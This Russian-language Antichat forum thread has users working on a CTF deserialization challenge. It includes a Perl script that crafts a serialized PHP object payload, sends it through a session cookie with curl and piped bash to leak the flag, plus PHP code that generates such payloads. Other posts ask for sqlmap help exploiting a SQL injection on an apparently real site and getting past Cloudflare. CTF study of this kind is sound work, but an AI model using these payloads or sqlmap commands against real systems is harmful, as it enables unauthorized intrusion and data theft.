ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

19.01.2017, 20:55
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
Сообщение от crlf
crlf said:
↑
Затянуло меня это задание, второй день копаюсь
Но скила не хватает, правильно ли я понимаю, что главная фишка в поведении ArrayAccess?
не то слово, я пару дней спать нормально не могу.. забрался далеко, но не достаточно(
всё верно, фишка в ArrayAccess, маппер, который в конструкторе класса User
Код:
Code:
public function __construct() {
parent::__construct($this, array(
'id' => array('type' => 'function', 'target' => 'id'),
'name' => array('type' => 'function', 'target' => 'name')
));
}
определяет какая функцию этого класса будет вызвана, причем передавать параметры в вызов мы не можем, ибо вызов у нас один в файле demo.php
Код:
Code:
$name = $user->name; // Getting the current user name
маппер передаётся сериализованным от клиента, другими словами мы можем подделать вызов функции на нужную переопределив вызываемый класс, он хранится в GenericMapper( который отнаследован от ArrayAccess ) $this->realObject
чего я смог добиться... отправляю класс User и класс Debug
в дебаг классе переопределяю переменную debugStateName с _DEBUG на flag, затем вызываю через модифицированный маппер функцию debugStateName( которая в debug классе )
Код:
Code:
public function getDebugState() {
return $GLOBALS[$this->debugStateName];
}
в итоге мы получаем в $name флаг
Код:
Code:
$name = $user->name; // Getting the current user name
но подвох в том что $name нигде не выводится
конечно мы можем вызвать showNice или show из дебаг класса, но вызов то подменить мы можем только один..
в общем я пока сам в тупике, могу скинуть рабочую версию скрипта, если нужно, который прокидывает в $name флаг
|
|
|
|

19.01.2017, 21:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
не могу понять где просчитался, что то упустил, в общем скрипт в спойлере если что
.SpoilerTarget" type="button">Spoiler
Код:
Code:
добавил var_dump в своей копии
$ cat demo.php | grep -B 3 var_dump
// Pull request are welcome.
$name = $user->name; // Getting the current user name
var_dump($name);
$ grep -rn flag all.php
10:$flag = 'FLAG-XXXXXXXXXXXX'; // Place your precious flag here !
сам скрипт
#!/usr/bin/perl
use strict;
use warnings;
use MIME::Base64;
my $str = '
O:7:"Session":4:{
s:2:"id";s:13:"587e46015cc88";
s:5:"debug";O:5:"Debug":1:{s:21:"QQQDebugQQQdebugStateName";s:4:"flag";}
s:4:"user";O:4:"User":5:{
s:10:"QQQUserQQQname";s:4:"zzzz";
s:8:"QQQUserQQQid";s:2:"qq";
s:24:"QQQGenericMapperQQQtempValue";s:8:"showNice";
s:18:"QQQGenericMapperQQQmap";a:3:{
s:2:"id";a:2:{s:4:"type";s:8:"function";s:6:"target";s:2:"id";}
s:4:"name";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
s:13:"getDebugState";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
}
s:25:"QQQGenericMapperQQQrealObject";r:3;
}
s:4:"data";a:0:{}
}
';
$str =~s/[\s\n]//g;
$str =~s/QQQ/\0/g;
$str = encode_base64($str,'');
$str =~s/=/%3D/g;
$str =~s/\+/%2B/g;
unless($str=~/[a-zA-Z0-9\%]+/)
{ print "hmmm\n$str\n";exit;}
#print "curl -s -k 'http://ringzer0team.com:10001/demo.php' -H 'Cookie: rop_session=$str' -H 'Authorization: Basic Y3RmOmN0ZjIwMTU='\n";
print "curl -s -k 'http://my-site-name.ru/demo.php' -H 'Cookie: rop_session=$str'\n";
вызов
~/quest$ perl rop2.pl | /bin/bash | grep FLAG
string(17) "FLAG-XXXXXXXXXXXX"
|
|
|
|

19.01.2017, 21:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Сообщение от t0ma5
t0ma5 said:
↑
в общем я пока сам в тупике, могу скинуть рабочую версию скрипта, если нужно, который прокидывает в $name флаг
Я точно в таком же положении От безнадёги перешёл в режим рандома, пока безрезультатно.
Обратил внимание ещё на один момент, switch идёт без break-ов, если $type = 0;, в функции __set отработют оба кейса 'function' и 'property'. Пока не пойму имеет ли это какое либо отношение к цепочке.
Таск действительно крутой, будем думать дальше
|
|
|
|

19.01.2017, 21:10
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
Сообщение от crlf
crlf said:
↑
switch
идёт без
break
-ов, если $type = 0;, в функции
__set
отработют оба кейса 'function' и 'property'.
да ладно! ёмана это оно
попробую с этим похимичить
-------------------
хотя __set непонятно как вызвать..
|
|
|
|

19.01.2017, 22:37
|
|
Guest
Сообщений: n/a
Провел на форуме: 19301
Репутация:
0
|
|
Сообщение от kacergei
kacergei said:
↑
sqlmap что выдает? sqlmap.py -u "URL" ............. -v 5
Посмотри в каких случаях выкидывает 403, смотри что фильтруется
там cloudflare стоит, который новых юзеров держит 5 секунд перед заходом на сайт, есть решение?
|
|
|
|

20.01.2017, 02:10
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Сообщение от t0ma5
t0ma5 said:
↑
хотя __set непонятно как вызвать..
У меня в тестовом скрипте жёсткая каша, хрен разберёшь Побыстрому накидал небольшой скрипт для вызова __get/__set,надеюсь разберёшься:
.SpoilerTarget" type="button">Spoiler
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]map[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$map[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]realObject[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$realObject[/COLOR][COLOR="#007700"]; } public function[/COLOR][COLOR="#0000BB"]__set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { } public function[/COLOR][COLOR="#0000BB"]__get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) { } public function[/COLOR][COLOR="#0000BB"]offsetExists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) { return isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]map[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]]); } public function[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) { throw new[/COLOR][COLOR="#0000BB"]Exception[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Not supported !'[/COLOR][COLOR="#007700"]); } public function[/COLOR][COLOR="#0000BB"]offsetSet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]); } public function[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) { return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]); } } class[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"]{ private[/COLOR][COLOR="#0000BB"]$debugStateName[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'flag'[/COLOR][COLOR="#007700"]; private[/COLOR][COLOR="#0000BB"]$_instance[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'ccc'[/COLOR][COLOR="#007700"]; } class[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]GenericMapper[/COLOR][COLOR="#007700"]{ private[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'aaa'[/COLOR][COLOR="#007700"]; private[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'bbb'[/COLOR][COLOR="#007700"]; public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$realObject[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$map[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]parent[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$realObject[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$map[/COLOR][COLOR="#007700"]); } } class[/COLOR][COLOR="#0000BB"]Session[/COLOR][COLOR="#007700"]{ } [/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Session[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=> array([/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'target'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'showNice'[/COLOR][COLOR="#007700"]))); echo[/COLOR][COLOR="#DD0000"]"\n__get:\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]))).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"]=> array([/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'target'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'showNice'[/COLOR][COLOR="#007700"]))); echo[/COLOR][COLOR="#DD0000"]"\n__set:\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]))).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]?> [/COLOR][/COLOR]
|
|
|
|

20.01.2017, 03:34
|
|
Guest
Сообщений: n/a
Провел на форуме: 19301
Репутация:
0
|
|
вопрос: Есть скуля, в пост запросе, вызываю
Код:
Code:
./sqlmap.py --url "http://site.ru/" --data "input1=admin@admin.ru" --random-agent --dbms=mysql
но sqlmap ее не находит, что бы раскрутить, если отправляю в ручную, к примеру admin@admin.ru' скуля срабатывает.
Есть решения?
|
|
|
|

20.01.2017, 03:43
|
|
Guest
Сообщений: n/a
Провел на форуме: 759330
Репутация:
147
|
|
Сообщение от foozzione
foozzione said:
↑
Есть решения?
Попробуй так!
./sqlmap.py -u http://site.ru/ --data ="input1= admin@admin.ru" --dbs --random-agent --dbms=mysql
|
|
|
|

20.01.2017, 04:01
|
|
Guest
Сообщений: n/a
Провел на форуме: 19301
Репутация:
0
|
|
|
|
|
|

20.01.2017, 04:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 759330
Репутация:
147
|
|
Сообщение от foozzione
foozzione said:
↑
аналогично
Ага, а что говорит...?
Ты извини, я тут приболел немного - гриппую, и, видимо, от этого мои телепатические способности угасли резко...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|